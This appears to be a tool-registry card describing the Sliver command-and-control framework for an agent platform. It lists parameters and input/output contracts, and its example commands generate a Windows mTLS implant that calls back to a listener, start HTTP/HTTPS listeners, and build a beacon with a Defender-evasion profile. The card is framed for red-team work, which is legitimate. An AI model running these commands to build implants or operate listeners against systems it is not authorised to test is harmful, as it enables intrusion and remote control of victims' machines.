security enabled verified high v1.0.0

sliver

Implant-based C2 framework for adversary simulation, red team operations, and post-exploitation.

📋 Live Preview 
sliver-client
sliver-client

Sandbox: execFile · Timeout: 600s

Capabilities

agent.communication
implant.generation
post.exploitation
adversary.simulation

Parameters

Name Type Required Default Description Aliases
subcommand string Yes - Subcommand: client, server, operator, --help
flag-config string No - Config file path --config
lhost string No - Listener host/IP --lhost
lport integer No - Listener port --lport
flag-profile string No - Implant profile --profile
flag-save string No - Save output to file --save
flag-mtls string No - mTLS listener (host:port) --mtls
flag-http string No - HTTP listener (host:port) --http
flag-https string No - HTTPS listener (host:port) --https
flag-dns string No - DNS listener (host:port) --dns
flag-daemon boolean No - Daemonize server --daemon
flag-armory boolean No - Enable armory for community extensions --armory
d boolean No - Debug mode -d, --debug
help boolean No - Show this help message --help
named_pipe boolean No - Named pipe listener --named-pipe
tcp boolean No - TCP listener --tcp
v boolean No - Verbose output -v, --verbose

Contract

Inputs

network.target.ip

Listener bind address

network.port.number

Listener bind port

implant.config

Implant configuration profile

Outputs

agent.session

Active agent session

implant.binary

Generated implant binary

Side effects: network_trafficprocess_spawnfilesystem_write

Workflow Edges

Produces

agent.sessionimplant.binary

Consumes

network.target.ipnetwork.port.numberimplant.config

Resource Profile

ResourceValue
CPUmedium
Memory128 MB
Networkhigh
Disk I/Olow

Examples

Start Sliver server

sliver-server --daemon

Start Sliver client

sliver-client

Generate mTLS implant

generate --mtls 10.0.0.1:443 --os windows --arch amd64 --save implant.exe

Start HTTP listener

sliver-client --http 0.0.0.0:80

Start HTTPS listener

sliver-client --https 0.0.0.0:443

Enable armory extensions

sliver-client --armory

Generate with custom profile

generate --profile windows-defender-evasion --save beacon.exe

Documentation

Sliver — Implant-Based C2 Framework

Sliver is an open-source, implant-based C2 (Command and Control) framework designed for adversary simulation, red team operations, and post-exploitation. It supports multiple communication protocols including mTLS, HTTP, HTTPS, DNS, and named pipes.

Key Features

  • Multi-protocol C2: mTLS, HTTP(S), DNS, TCP, named pipes
  • Dynamic implants: Fully customizable implant generation
  • Armory: Community extension marketplace
  • Operators: Multi-user collaboration with role-based access
  • Encrypted comms: End-to-end encryption for all communication
  • Cross-platform: Server on Linux/macOS, implants on Windows/Linux/macOS

Related Tools

metasploitempirecovenantcobalt-strike

References